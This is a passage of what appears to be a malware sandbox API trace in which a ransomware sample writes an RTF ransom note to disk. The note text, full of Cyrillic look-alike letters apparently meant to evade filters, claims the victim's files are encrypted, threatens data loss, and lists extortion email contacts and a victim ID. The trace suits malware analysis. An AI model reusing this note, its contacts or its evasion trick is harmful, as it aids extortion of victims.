th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c4dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n}ûÃ\x11q\x12©ô\x8a5;ä\x1bú\x9b\x06\nÛ4¬ú°­Øw±´d4\x8d\x03\x17", lpUsedDefaultChar=0x0) returned 14086 [0042.369] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0042.370] CloseHandle 